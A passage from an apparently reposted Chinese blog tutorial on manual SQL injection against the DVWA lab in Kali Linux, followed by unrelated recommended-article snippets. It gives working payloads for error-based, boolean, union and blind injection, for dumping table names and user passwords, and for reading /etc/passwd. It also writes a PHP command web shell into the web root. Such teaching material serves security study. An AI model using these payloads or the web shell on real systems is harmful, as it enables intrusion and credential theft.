kali linux之手动漏洞挖掘三(sql注入)

2023-10-30

服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器

 

如判断登录

select * from users where user='uname' and password='pass'

select * from users where user='name' and password="or"=''

 

 

基于报错的检测方法:

'       "    %

 

查看代码id那里有两个单引号,再插入一个单引号,带入查询了,就可以构造自定义的sql语句

 

 

基于布尔的检测:

1' and '1'='1或1' and '1

1'and'1'='2 或1' and '0

 

表列数/显示信息位于哪一列:

'order by 3--     #按查询列号排序(-- 注释符)

如果猜测不对会返回报错

猜到第二列没返回,说明在第二列

 

 

 

联合查询:

' union select 1,2--

 

查到对应信息后,查看db用户-----user()   db版本----version()  当前数据库---database()

函数@@datadir--数据库路径   @@hostname--主机名  @@version--数据库版本信息  @@version_compile_os--系统主机版本

 

查看数据库版本和用户

查看当前数据库

 查看数据库路径

 

 

mysql数据结构------infomation_schema所有信息都在这个库里面

 查看所有的库,和所有的表

' union select table_name,table_schema from information_schema.tables--

 

统计每个表中的数量

'union select table_schema,count(*) from information_Schema.tables group by table_schema--

 

查看dvwa库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--

 

查看dvwa表中的所有列

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--

 

查询dvwa表中的user password列的内容

' union select user,password from dvwa.users--

 

读取文件

' union select null,load_file('/etc/passwd')--

写入文件(写入木马什么的,前提是要有www目录的写权限)

' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--

然后执行命令

如果没有权限的话,可以配合文件包含漏洞,把文件写到tmp目录下,利用文件包含来执行命令

 

 

 

 

 

sql盲注

不显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息

当报错信息隐藏了,或者替换为通用的错误提示,sql注入无法根据报错信息判断语句的执行结果,即盲

 

思路:无法基于报错结果判断,那就基于逻辑真假的不同结果来判断

1' and 1=1-- (结果为真,返回执行了)

1' and 1=2--(结果为假的时候,没有任何返回,说明逻辑语句被执行了)

 

1' order by 2-- 查询有两个字段

 

1' union select 1,2-- 联合查询

 

 

1' and 1=0 union select null,table_name from information_schema.tables--

 

 

 

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'--

 

 

 

 

 

友情链接 http://www.cnblogs.com/klionsec

               http://www.cnblogs.com/l0cm

               http://www.cnblogs.com/Anonyaptxxx

               http://www.feiyusafe.cn

转载于:https://www.cnblogs.com/Hydraxx/p/10461965.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

kali linux之手动漏洞挖掘三(sql注入) 的相关文章

随机推荐

  • unity3d关节物体连接方式 Joint 简介

    Unity3D 在components physics里有很多种Joint方式 用于模拟物体与物体间的联系 物体间作用力等 由于上次辛苦写了一堆没成功保存后 这次就不写那么详细了 做个引子 真的用到的时候大家可以查官网再做具体研究 Hing
  • 花生壳PHTunnel嵌入Openwrt实例

    下载 下载自己的编译平台的二进制PHTunnel文件是第一步要做的 我们可以到贝锐科技开放平台网站 https developer oray com sdk 进行下载 根据自己的型号进行下载 比如我的路由器是基于mipsel c库使用的是u
  • 你值得拥有——流星雨下的告白(Python实现)

    目录 1 前言 2 霍金说移民外太空 3 浪漫的流星雨展示 4 Python代码 1 前言 我们先给个小故事 提一下大家兴趣 然后我给出论据 得出结论 最后再浪漫的流星雨表白代码奉上 还有我自创的一首诗 开始啦 2 霍金说移民外太空 霍金说
  • Python-继承

    单继承 多继承 面向对象三大特性 封装根据职责将属性和方法封装到一个抽象的类中 继承实现代码的重用 相同的代码不需要重复的缩写 多态不同的对象调用相同的方法 产生不同的执行结果 增加代码的灵活度 1 单继承 1 1继承的概念 语法和特点 继
  • mysql批量插入、更新

    1 创建表 CREATE TABLE user id int 11 UNSIGNED NOT NULL AUTO INCREMENT COMMENT id name varchar 255 CHARACTER SET utf8 COLLAT
  • mysql 安装教程(详细说明)

    如果你装过 一定要先卸载干净 并且重启重新装 卸载教程 保证成功 https www cnblogs com qzhc p 11354678 html 大家都知道MySQL是一款中 小型关系型数据库管理系统 很具有实用性 对于我们学习很多技
  • SpringBoot的ApplicationRunner

    场景 在开发过程中 需要在容器启动的时候查询数据库 将数据加载到程序中 代码 Component Slf4j RequiredArgsConstructor public class InitAppRunner implements App
  • monaco-editor基本使用以及monaco-editor封装成vue组件

    文章目录 一 monaco editor基本使用 二 monaco editor封装成vue组件 一 monaco editor基本使用 以vue2项目为例 安装依赖 npm i monaco editor npm i monaco edi
  • Redis知识总结

    Redis的全称是 Remote Dictionary Server Redis是一个开源 BSD许可 内存数据结构存储 可以用作数据库 缓存和消息代理 它支持数据结构 如字符串 散列 列表 集合 带有范围查询的排序集 位图 超级日志 具有
  • unity3D 鼠标滚轮实现物体的大小缩放

    这个实现的方法不难 难的可能是要弄懂鼠标滚轮响应函数的机制 响应函数是Input GetAxis Mouse ScrollWheel 其中 这个函数是有返回值的 类型是float 向前滚是返回正数 向后滚是返回负数 所以 下面这个脚本操作的
  • 域名系统和 DNS

    目录 1 名字解析介绍和DNS 1 2 DNS服务工作原理 1 3 DNS查询类型 1 4 名称服务器 1 5 解析类型 1 6 完整的查询请求经过的流程 2 DNS 服务相关概念和技术 2 1 DNS服务器的类型 2 1 1 主DNS服务
  • 人工智能知识全面讲解:机器学习的过程

    1 3 1 机器学习的三个阶段 学习了机器学习的概念后 我们知道机器学习实际上就是计算机通过算法 处理数据并且学得模型的过程 模型 这个词经常被我们挂在嘴边 但大部 分人仍然不清楚模型是怎么做出来的 模型在计算机里是怎么表示的 对模型 很难
  • linux中的无人职守安装脚本kickstart

    一 kickstart自动安装脚本的作用 在企业中安装多台操作系统时面临的问题 当安装Linux操作系统时 安装过程会需要回答很多关于设定的问题 这些问题必须手动选择 否则无法进行安装 当只安装1台Linux系统 手动选择设定工作量比较轻松
  • 使用Go语言实现百度网盘样的云存储系统

    目录 1 项目概述 2 开始项目 3 用户服务 4 文件服务 5 结语 欢迎来到这篇关于使用Go语言实现云存储系统的博客 在这篇博客中 我们将讨论如何使用Go语言和一些常见的开源库 实现一个简单的云存储系统 这个系统将包含用户注册 登录 上
  • m1 mac 使用 obs + BlackHole 内录电脑音频

    直接 obs 是内录不了的 由于 macOS 的限制 无法获取桌面音频 于是使用 BlackHole Github 工具 该方案的原理是将电脑音频同时输出到你的设备 耳机 扬声器等 BlackHole 然后让 OBS 获取 BlackHol
  • Lambda表达式【C++语法】

    C L a m b d a
  • 测试驱动开发(TDD)实践与技巧

    文章目录 引言 Google Mock 测试用例结构 断言 经典式断言 Hamcrest 断言 测试驱动开发 第一个示例 开场白 开始吧 去掉不干净的代码 增量性 fixture 设置 思索与测试驱动开发 测试驱动与测试 测试驱动开发基础与
  • Android app多渠道打包的流程与源代码示例

    Android app多渠道打包的流程与源代码示例 多渠道打包是指通过一次构建过程生成适用于不同应用商店 市场或渠道的多个APK文件 这样可以方便开发者将应用同时发布到多个平台上 提高应用的覆盖率和下载量 本文将介绍实现多渠道打包的步骤 并
  • 静态路由实验(思科Cisco)

    思科静态配置命令 静态路由的配置命令如下 router config ip route 目的网络 网络掩码 下一跳地址 出接口 默认路由的配置命令如下 router config ip route 0 0 0 0 0 0 0 0 下一跳地址
  • kali linux之手动漏洞挖掘三(sql注入)

    服务器端程序将用户输入作为参数作为查询条件 直接拼写sql语句 并将结果返回给客户端浏览器 如判断登录 select from users where user uname and password pass select from use